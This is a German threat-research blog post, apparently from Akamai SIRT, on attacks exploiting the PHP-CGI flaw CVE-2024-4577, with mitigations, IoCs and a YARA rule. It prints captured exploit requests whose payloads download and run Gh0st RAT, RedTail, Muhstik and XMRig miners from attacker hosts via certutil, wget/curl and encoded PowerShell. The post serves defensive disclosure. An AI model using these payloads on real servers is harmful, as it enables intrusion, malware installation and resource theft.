CVE-2024-4577-Exploit-Versuche im freien Internet einen Tag nach Offenlegung
Redaktion und weitere Kommentare von Tricia Howard
Zusammenfassung
Das Akamai Security Intelligence Response Team (SIRT) hat Aktivitäten im Zusammenhang mit CVE-2024-4577 überwacht, einer PHP-Schwachstelle, die Installationen im CGI-Modus betrifft und im Juni 2024 gemeldet wurde.
Die Schwachstelle betrifft in erster Linie Windows-Installationen, die chinesische und japanische Gebietsschemas verwenden. Es ist jedoch möglich, dass die Schwachstelle auf eine größere Bandbreite von Installationen zutrifft.
Bereits einen Tag nach der Offenlegung beobachtete das SIRT zahlreiche Exploit-Versuche, um diese Schwachstelle zu missbrauchen, was auf eine hohe Ausnutzbarkeit und eine schnelle Übernahme durch Bedrohungsakteure hindeutet.
Zu den Exploit-Versuchen gehören Command Injections und mehrere Malware-Kampagnen: Gh0st RAT, RedTail-Kryptominer und XMRig.
Akamai App & API Protector wehrt automatisch Exploit-Versuche, die unsere Kunden anvisieren, ab.
In diesem Blogbeitrag haben wir eine umfassende Liste von Indicators of Compromise (IoCs) für die verschiedenen Exploit-Versuche, auf die wir eingehen, zusammengestellt.
Einführung
Der Zeitraum von der Offenlegung bis zur Ausnutzung hat sich in den letzten Jahren deutlich verkürzt – tatsächlich finden die meisten schädlichen Aktivitäten im ersten Monat nach dem Patch statt. Ab Mai 2024 beträgt die durchschnittliche Zeit bis zum Beginn einer Ausnutzung etwa 4 Tage, nachdem eine Schwachstelle öffentlich gemacht wurde – für Sicherheitsverantwortliche zu wenig, um sich vorzubereiten. Das ist noch nicht alles. Angreifer missbrauchen auch ständig One-Day-Schwachstellen und sogar welche, die mehrere Jahre alt sind,um sicherzustellen, dass ihre Bemühungen belohnt werden.
Eines der jüngsten Beispiele für diese Angriffe ist eine kritische Schwachstelle, die auf PHP (Versionen 8.1.*, vor 8.1.29, 8.2.* vor 8.2.20, und 8.3.* vor 8.3.8) entdeckt wurde. Diese Schwachstelle wird durch die Art und Weise verursacht, wie PHP- und CGI-Handler bestimmte Unicode-Zeichen analysieren, wodurch ein Angreifer eine Remote-Code-Ausführung (RCE) erreichen kann. Diese Schwachstelle ist unglaublich einfach auszunutzenund wir haben beobachtet, dass eine Vielzahl von Cyberkriminellen sie missbraucht, um anfällige Geräte anzugreifen.
In diesem Blogbeitrag werden wir einige der Versuche beschreiben, diese Schwachstelle auszunutzen, die wir beobachtet haben, und ihre Auswirkungen besprechen. Außerdem stellen wir die Indicators of Compromise (IoCs) vor, die wir gesammelt haben.
Ausnutzung von CVE-2024-4577
Einer der Faktoren, die die Kritikalität bestimmen, ist die einfache Ausnutzung. Und diese Schwachstelle lässt sich ziemlich einfach ausnutzen. Für eine Remote-Code-Ausführung (RCE) muss ein Angreifer lediglich einen PHP-Code an den Server senden und ihn (falsch) interpretieren lassen.
Ähnlich wie CVE-2012-1823basiert die Ausnutzung dieser Schwachstelle auf der Verwendung von php://input, um den Code in den Anforderungstext einzubetten. Auf PHP ist php://input ein schreibgeschützter I/O-Stream, mit dem Sie Rohdaten aus dem Anforderungstext lesen können. Eine häufig verwendete Option für diesen Exploit ist die PHP auto_prepend_file, die den Namen einer Datei angibt, die automatisch vor der Hauptdatei geparst wird. Da der Inhalt der Datei zuerst geparst wird, wird sichergestellt, dass der Code eines Angreifers eingeschlossen wird, bevor ein anderer Code ausgeführt wird.
Darüber hinaus fügen viele Angreifer die Option allow_url_include hinzu, die den Datenabruf von Remote-Standorten und Funktionen wie fopen und file_get_contents ermöglicht.
Command Injection
Im CGI-Modus von PHP analysiert ein Webserver HTTP-Anforderungen und leitet sie an ein PHP-Skript weiter, das sie zusätzlich verarbeitet. Beispielsweise werden Abfragezeichenfolgen geparst und über die Befehlszeile an den PHP-Interpreter übergeben, sodass eine Anforderung wie http://host/cgi.php?foo=bar als php.exe cgi.php foo=bar ausgeführt werden könnte.
Dies ermöglicht Command Injections, sodass die Eingaben vor dem Aufruf von php.exe bereinigt werden. CVE-2024-4577 ist eine Schwachstelle, die es einem Angreifer ermöglicht, die Befehlszeile zu verlassen und Argumente weiterzugeben, die direkt von PHP interpretiert werden. Die Schwachstelle selbst liegt darin, wie Unicode-Zeichen in ASCII konvertiert werden. Abbildung 1 (aus dem Bericht von watchTowr Lab zu CVE-2024-4577) zeigt zwei Aufrufe von php.exe – einer ist schädlich, der andere gutartig – und macht deutlich, wie schwierig es ist, zu bestimmen, welcher welcher ist.
Für einen Menschen sehen sie gleich aus, eine Maschine interpretiert sie jedoch verschieden (Abbildung 2). Wenn Sie diese Argumente mit einem Hex-Editor betrachten, sehen Sie, dass die erste Anfrage einen standardmäßigen Bindestrich (0x2D) verwendet, während die zweite Anfrage einen „weichen Bindestrich“ verwendet (0xAD).
Die unterschiedlichen Interpretationen ermöglichen den Angriff. Wenn ein Benutzer einen weichen Bindestrich an einen CGI-Handler weitergibt, hat er nicht das Bedürfnis, ihn umgehen zu müssen. PHP wendet für die Unicode-Verarbeitung eine Best-Fit-Zuordnung an und geht daher davon aus, dass ein Benutzer einen Standard-Bindestrich weitergeben möchte, obwohl er eigentlich einen weichen Bindestrich weitergegeben hat. Da dieser weiche Bindestrich als Standard-Bindestrich interpretiert wird, kann ein Angreifer zusätzliche Befehlszeilenargumente, beginnend mit Bindestrichen, in den PHP-Prozess für RCE einfügen.
Zum besseren Verständnis sehen Sie hier ein Beispiel für eine bösartige Payload, die im freien Internet entdeckt wurde (Abbildung 3), sowie den resultierenden Befehl, der vom Hostsystem als Ergebnis der Verarbeitung dieser Anfrage ausgeführt wird (Abbildung 4).
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Abb. 3: Ein Beispiel für eine schädliche Anfrage
php.exe -d allow_url_include -d auto_prepend_file=php://input
Abb. 4: Die schädliche Anfrage nach der Verarbeitung
Dokumentieren der Exploit-Versuche
Gh0st RAT-Malware
Cyberkriminelle setzten den Trend der verkürzten Zeit von der Offenlegung bis zur Ausnutzung fort und nutzten diese neue Schwachstelle schnell aus. Wir beobachteten Exploit-Versuche, die diese PHP-Schwachstelle innerhalb von 24 Stunden nach der Offenlegung in unserem Honeypot-Netzwerk ins Visier nahmen.
Für einen solchen Versuch wurde Gh0st RAT-Malware (Abbildung 5) verwendet, ein Open-Source-Tool für den Remote-Zugriff, das seit mehr als 15 Jahren existiert. Dabei handelte es sich um eine in UPX verpackte, in Windows ausführbare Datei.
Content-Type: application/x-www-form-urlencoded
User-Agent: python-requests/2.22.0
URI:
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('certutil.exe -urlcache -f http://147.50.253[.]109:44119/phps.exe phpsm.exe&start phpsm.exe');?>
Proxy-IP-Adresse: 23.237.182[.]122
Datum: Sonntag, 9. Juni 2024
Bei der Ausführung der Malware in einer Sandbox-Umgebung wurde eine zusätzliche ausführbare Datei namens „Iqgqosc.exe“ abgelegt, die auch in UPX verpackt war. Anschließend werden angeschlossene Laufwerke und die Peripherie aufgelistet und die Registrierung abgefragt. Zudem ändert sie ihren Namen um in „A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe“.
Über den Port 8001 wurden Signale an den in Deutschland ansässigen Befehls- und Kontrollserver 146.19.100[.]7 gesendet.
Die IP-Adresse 147.50.253[.]109 enthielt mehrere Zertifikate mit dem Common Name (CN) „BangCloud“, die mit einem kleinen Hostinganbieter in Thailand in Verbindung gebracht wurden. Die meisten IP-Adressen, die mit diesem CN verknüpft sind, gehörten ebenfalls zur gleichen CIDR von 147.50.253[.]109 und alle wurden in VirusTotal für Verbindungen zu schädlichen Dateien positiv angezeigt. Die meisten dieser IP-Adressen hatten auch überlappende Hashes und Dateinamen für diese Ergebnisse. Abbildung 6 zeigt den MITRE ATT&CK Navigator-Ausdruck für das zur Verfügung gestellte Gh0st-Rat-Beispiel.
RedTail-Kryptominer
SIRT Honeypots beobachteten auch RedTail -Kryptomining mit CVE-2024-4577 innerhalb weniger Tage nach Offenlegung der Schwachstelle. Der Angreifer sandte eine Anfrage ähnlich wie die anderen früheren RedTail-Operationen und missbrauchte den weichen Bindestrich mit „%ADd“, um eine wget-Anfrage für ein Shell-Skript auszuführen. Dieses Skript stellt eine zusätzliche Netzwerkanfrage an dieselbe russische IP-Adresse, um eine x86-Version der Kryptomining-Malware von RedTail abzurufen (Abbildung 7).
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux; Linux x86_64; en-US) Gecko/20100101 Firefox/122.0
URI:
/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
POST DATA:
<?php shell_exec("SC=\$(wget -O- http://185.172.128[.]93/sh || curl http://185.172.128[.]93/sh); echo \"\$SC\" | sh -s cve_2024_4577"); ?>
Das Shell-Skript versucht, die Miner-Datei entweder mit wget oder curl herunterzuladen, wobei eine rohe TCP-Verbindung als Ersatzmethode verwendet wird. Es sucht nach Verzeichnissen, die dem aktuellen Opfer gehören und über Lese-, Schreib- und Ausführungsberechtigungen verfügen, mit Ausnahme von Verzeichnissen, die mit der Option „noexec“ bereitgestellt sind sowie „/tmp“ und „/proc“. Dann passiert Folgendes:
- Es ruft die Architektur des Systems ab
- Es testet Schreibberechtigungen, indem es Testdateien erstellt und entfernt
- Es lädt die Payload herunter und führt sie basierend auf der Architektur des Opfers aus, wobei die Datei in „.redtail“ umbenannt wird
Zu den im Shell-Skript enthaltenen Architekturen gehören solche, die nicht auf Windows-Geräte anwendbar sind. Dies ist wahrscheinlich nur darauf zurückzuführen, dass die Angreifer generische Skripte wiederverwenden und sie nicht speziell auf diese Schwachstelle zuschneiden.
Muhstik-Malware
Eine weitere Kampagne, die diesen Exploit missbraucht, der in unseren Honeypots beobachtet wurde, war ein Shell-Skript, das eine Version von Muhstik-Malware herunterlädt (Abbildung 8).
User-Agent: python-requests/2.22
URI:
/?%ADd+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('curl 86.48.2[.]49/3sh')?>;echo 1337; die;
Das Shell-Skript lädt eine Datei namens „pty3“ von einer anderen IP-Adresse herunter, die sich als eine ELF-Datei herausstellt. Weitere Analysen zeigen, dass es sich hierbei wahrscheinlich um eine Muhstik-Malware-Probe handelt, die zuvor bereits nachweislich auf das Internet der Dinge und Linux-Server für Kryptomining und DDoS (Distributed Denial of Service)-Zwecke abzielt.
Es weist ähnliche Muster und Namenskonventionen auf wie zuvor gemeldete Fälle von Muhstik-Malware, wie „pty3“. Außerdem erstellt es mehrere Verzeichnisse, die mit Muhstik-Malware in Verbindung stehen, z. B. „/var/run/pty3“, „/dev/shm/pty3“, „/var/tmp/pty3“ und „/var/lock/pty3“.
Darüber hinaus wurde die Command and Control-Domain „p.findmeatthe[.]top“, die es aufgerufen hat, kürzlich in einer separaten Veröffentlichung zu einer Muhstik-Malware-Kampagne dokumentiert, die über Internet Relay Chat kommuniziert.
XMRig
Wir haben eine vierte Kampagne beobachtet, die diesen Exploit missbrauchte, bei der XMRig den folgenden Befehl ausführte:
URI:
/test.hello?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input
POST DATA (Base64 Encoded):
<?php $cmd=base64_decode('cG93ZXJzaGVsbCAtQ29tbWFuZCAiJHdjID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgJHRlbXBmaWxlID0gW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcEZpbGVOYW1lKCk7ICR0ZW1wZmlsZSArPSAnLmJhdCc7ICR3Yy5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9kb3dubG9hZC5jM3Bvb2wub3JnL3htcmlnX3NldHVwL3Jhdy9tYXN0ZXIvc2V0dXBfYzNwb29sX21pbmVyLmJhdCcsICR0ZW1wZmlsZSk7ICYgJHRlbXBmaWxlIDQ5dzhnc0x3N1V3VVZzelVCdFl1amROMU1jTmtvZVl1Y1RjdGFlUFg4bm1iaktBQnpKOVMxcmlnV2RoNUVpVVQxejROUEFQY2h4VDdSYUpYTjNmVVJVcE02RjZLR2p5OyBSZW1vdmUtSXRlbSAtRm9yY2UgJHRlbXBmaWxlIg==');system($cmd) ?>
POST DATA (Base64 Decoded):
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://download.c3pool[.]org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile 49w8gsLw7UwUVszUBtYujdN1McNkoeYucTctaePX8nmbjKABzJ9S1rigWdh5EiUT1z4NPAPchxT7RaJXN3fURUpM6F6KGjy; Remove-Item -Force $tempfile"
Der eingeschleuste Befehl verwendet PowerShell zum Herunterladen und Ausführen eines Skripts, um XMRig aus einem Remote-Mining-Pool einzurichten, gefolgt von einer Bereinigung der temporären Dateien zur Verschleierung.
Abhilfemaßnahmen
Wir empfehlen, die erforderlichen Patches für Unternehmen, die von dieser Schwachstelle betroffen sind, schnell anzuwenden und die IOCs zu überwachen.
Nutzer, die Akamai Adaptive Security Engine im automatischen Modus verwenden und für die Gruppe „Command Injection Attack“ den Modus „Ablehnen“ festgelegt haben, aktivieren automatisch Abwehrmaßnahmen gegen diese Art von Angriffen.
Nutzer, die Adaptive Security Engine im manuellen Modus verwenden, sollten überprüfen, ob sie die Gruppe „Command Injection Attack“ oder die folgenden Regeln im Modus „Ablehnen“ haben. Je nach Payload verringern eine oder mehrere dieser Regeln diese Schwachstelle:
- 969151 v1 – PHP Injection Attack (Öffnendes Tag)
- 959977 v1 – PHP Injection Attack (Konfigurationsüberschreibung)
- 3000155 v1 – CMD Injection Attack Detected (PHP/Datenfilter erkannt)
- 3000171 v3 – Versuchter Upload von Webshell-/Backdoor-Datei
Wie immer sollten Sie Ihre Konsole regelmäßig auf Aktualisierungen und Ergänzungen zu den Regelsätzen überprüfen. Kurz nach der Veröffentlichung der Exploits beobachteten wir eine enorme Menge an Scans, die diese Schwachstelle ausnutzen wollten. Wie bei den meisten Schwachstellen bei öffentlichen Exploits kam die überwiegende Mehrheit der Anfragen von Bug Bounty Hunters und anderen Scannern. Dieser Traffic wurde durch mehrere Regeln der Adaptive Security Engine erfasst und blockiert (Abbildungen 9 und 10).
Allerdings stammte der Traffic, der diese Schwachstelle ausnutzen wollte, nicht ausschließlich von Bug Bounty Hunters. Während Adaptive Security Engine diese Anfragen blockierte, führte sie auch automatische Abwehrmaßnahmen für unsere Kunden gegen dieselben schädlichen Exploits durch, die von unseren Honeypots beobachtet wurden (Abbildung 11).
Außerdem gab es einen Exploit, der von der Adaptive Security Engine blockiert und von unseren Honeypots nicht erkannt wurde. In der Payload in Abbildung 12 versuchte ein Angreifer, eine Datei von einem von ihm kontrollierten Server in das Unterverzeichnis des Zielservers zu kopieren. Die kopierte Datei „up.txt“ würde dem Angreifer erlauben, zusätzliche Dateien mit dem „/xl.php“-Endpunkt hochzuladen. Der Angreifer könnte dies nutzen, um andere schädliche Dateien wie Web-Shells oder Malware hochzuladen. Am wichtigsten ist, dass der Angreifer den Zugriff auch nach der Anwendung des Patches für CVE-2024-4577 behalten kann, indem er eine andere Möglichkeit zum Hochladen von Dateien erstellt.
Fazit
Durch den Einsatz verschiedener Automatisierungstools und die fehlende Kontrolle durch Unternehmen sind Angreifer auf Erfolg eingestellt. Ein weiteres kritisches Sicherheitsrisiko ist die immer kürzer werdende Zeit, die Verteidiger zum Schutz nach der Offenlegung neuer Schwachstellen benötigen. Dies gilt insbesondere für diese PHP-Schwachstelle aufgrund ihrer hohen Ausnutzbarkeit und der schnellen Übernahme durch Cyberkriminelle.
Die Akamai SIRT wird Bedrohungen wie diese weiterhin überwachen und darüber berichten, um bei unseren Kunden und in der Sicherheits-Community insgesamt das Bewusstsein für die Gefahren zu schärfen. Wenn Sie mehr aus der Bedrohungsforschung erfahren möchten, folgen Sie uns auf X(ehemals Twitter). Dort informieren wir über unsere neuesten Erkenntnisse.
Gh0st RAT
SHA256-Hash
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e
Dateinamen
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe
phps.exe
Iqgqosc.exe
IPv4-Adressen
147.50.253[.]109
146.19.100[.]7
23.237.182[.]122
Mit BangCloud verknüpfte IOCs mit Ergebnissen auf VirusTotal
147.50.253[.]220
147.50.253[.]222
147.50.253[.]225
147.50.253[.]219
147.50.253[.]231
147.50.253[.]99
147.50.253[.]100
147.50.253[.]228
147.50.253[.]5
147.50.253[.]4
154.197.12[.].156
147.50.253[.]110
147.50.253[.]102
147.50.253[.]218
147.50.253[.]23
147.50.253[.]11
147.50.253[.]163
147.50.253[.]2
147.50.253[.]116
147.50.253[.]18
147.50.253[.]109
147.50.253[.]106
147.50.253[.]112
147.50.253[.]111
147.50.253[.]7
147.50.253[.]104
147.50.253[.]167
147.50.253[.]119
147.50.253[.]113
147.50.253[.]103
147.50.253[.]107
147.50.253[.]105
147.50.253[.]114
147.50.253[.]108
147.50.253[.]101
147.50.253[.]117
147.50.253[.]115
147.50.229[.]12
MITRE ATT&CK-Techniken
T1091 – Replikation über Wechseldatenträger
T1547 – Autostart-Ausführung beim Booten oder Anmelden
T1056 – Eingangserfassung
T1112 – Änderung der Registrierung
T1003 – Dumping von BS-Anmeldeinformationen
T1120 – Erkennung von Peripheriegeräten
T1027 – Verschleierte Dateien oder Informationen
T1071 – Protokoll auf Anwendungsebene
T1082 – Ermittlung von Systeminformationen
T1571 – Nicht standardmäßiger Port
T1057 – Prozesserkennung
RedTail
IPv4-Adressen
185.172.128[.]93
SHA256-Hashes
2c602147c727621c5e98525466b8ea78832abe2c3de10f0b33ce9a4adea205eb
0d70a044732a77957eaaf28d9574d75da54ae430d8ad2e4049bd182e13967a6f
ab897157fdef11b267e986ef286fd44a699e3699a458d90994e020619653d2cd
9753df3ea4b9948c82310f64ff103685f78af85e3e08bb5f0d0d44047c63c315
19a06de9a8b66196fa6cc9e86824dee577e462cbeaf36d715c8fea5bcb08b54d
Dateinamen
sh – Shell-Skript
X86_64 – Redtail-Payload
.redtail – RedTail-Payload
YARA-Regeln
rule redtail_miner {
meta:
author = "Akamai SIRT"
date = "06/24/2024"
version = "1.0"
description = "YARA Rule for Red Tail Crypto Miner and Shell Script"
strings:
$a1 = "rm -rf .redtail"
$a2 = "mv x86_64 .redtail"
$a3 = "mv i686 .redtail"
$a4 = "mv aarch64 .redtail"
$a5 = "mv arm7 .redtail"
$a6 = "./.redtail $1 > /dev/null 2>&1"
condition:
2 of ($*)
}
Muhstik-Malware
Shell-Skript SHA256-Hash
1ae2fef05798f0f27e9de76fcef0217f282090fab1ba750623ca36b413151434
ELF-Datei SHA256-Hash
9e28f942262805b5fb59f46568fed53fd4b7dbf6faf666bedaf6ff22dd416572
Dateinamen
3sh – Shell-Skript
pty3 – Muhstik-Malware-Payload
IPv4-Adressen
147.139.29[.]220
86.48.2[.]49
185.201.8[.]176
194.59.165[.]52
156.67.218[.]115
Domains
p.findmeatthe[.]top
p.deutschland-zahlung[.]eu
p.shadow-mods[.]net